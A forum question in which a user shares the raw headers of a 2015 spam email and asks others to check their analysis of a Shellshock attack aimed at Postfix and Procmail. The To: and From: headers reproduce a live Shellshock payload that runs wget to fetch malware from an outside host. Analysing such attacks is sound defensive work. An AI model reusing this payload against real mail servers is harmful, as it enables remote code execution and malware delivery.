4

2 days ago I received the following E-mail (this is its original format not the one of any mailer, but where sensitive information is replaced by ••field_name••):

From qqqqqq@freemail.net Thu Jul 2 23:59:07 2015 Return-Path: <qqqqqq@freemail.net> X-Original-To: nobody@••my_domain•• Delivered-To: nobody@••my_domain•• Received: from website.com (bearing.headissue.net [178.248.246.217]) by ••my_mail_server•• (Postfix) with SMTP id 9CE261C542901 for <nobody@••my_domain••>; Thu, 2 Jul 2015 23:59:07 +0200 (CEST) To:() { :; };wget -o/tmp/._ http://mlanissan.co.in/HELLOWORLD From:() { :; };wget -o/tmp/._ http://mlanissan.co.in/HELLOWORLD Status: RO Content-Length: 0 Lines: 0

  • attack targeted toward Postfix MX where the MDA is Procmail
  • the To: & From: fields are aimed at firing the Shellshock on bash which is frequently used within Procmail rules
  • this attack would have downloaded a malware from a download site in Siliguri (India) within /tmp/._ (file hidden to the dummies)
  • in case of an existing /etc/procmailrc which is executed with root privileges nothing more risky would have been automatically run
  • the origin of the connection is in München, near the University
  • the origin (@IP) of the attack is on but not replying to any tcp connection
  • the HTML potential malware leads a 404

Here are a few personnal hypothesis about this attack:

  • the downloader site (mlanissan.co.in) was hacked, used, detected and cleaned by its owners
  • the attack control site (bearing.headissue.net) is most probably a Unix running, was hacked, used and not yet halted by its due owners, it is well protected by the hackers

Are my analysis and hypothesis right?

Do you have any better analysis and hypothesis?

dan
  • 3,033
  • 14
  • 34
  • 1
    How did you try to download the malware? `wget` or a browser? It's possible that the target site inspects browser strings. Otherwise, yes, your analysis seems fine. – schroeder Jul 04 '15 at 16:56
  • Good question: I choosed `wget` because it should be what is expected, and because I analyse risky HTML with `vi` :). – dan Jul 04 '15 at 17:00

0 Answers0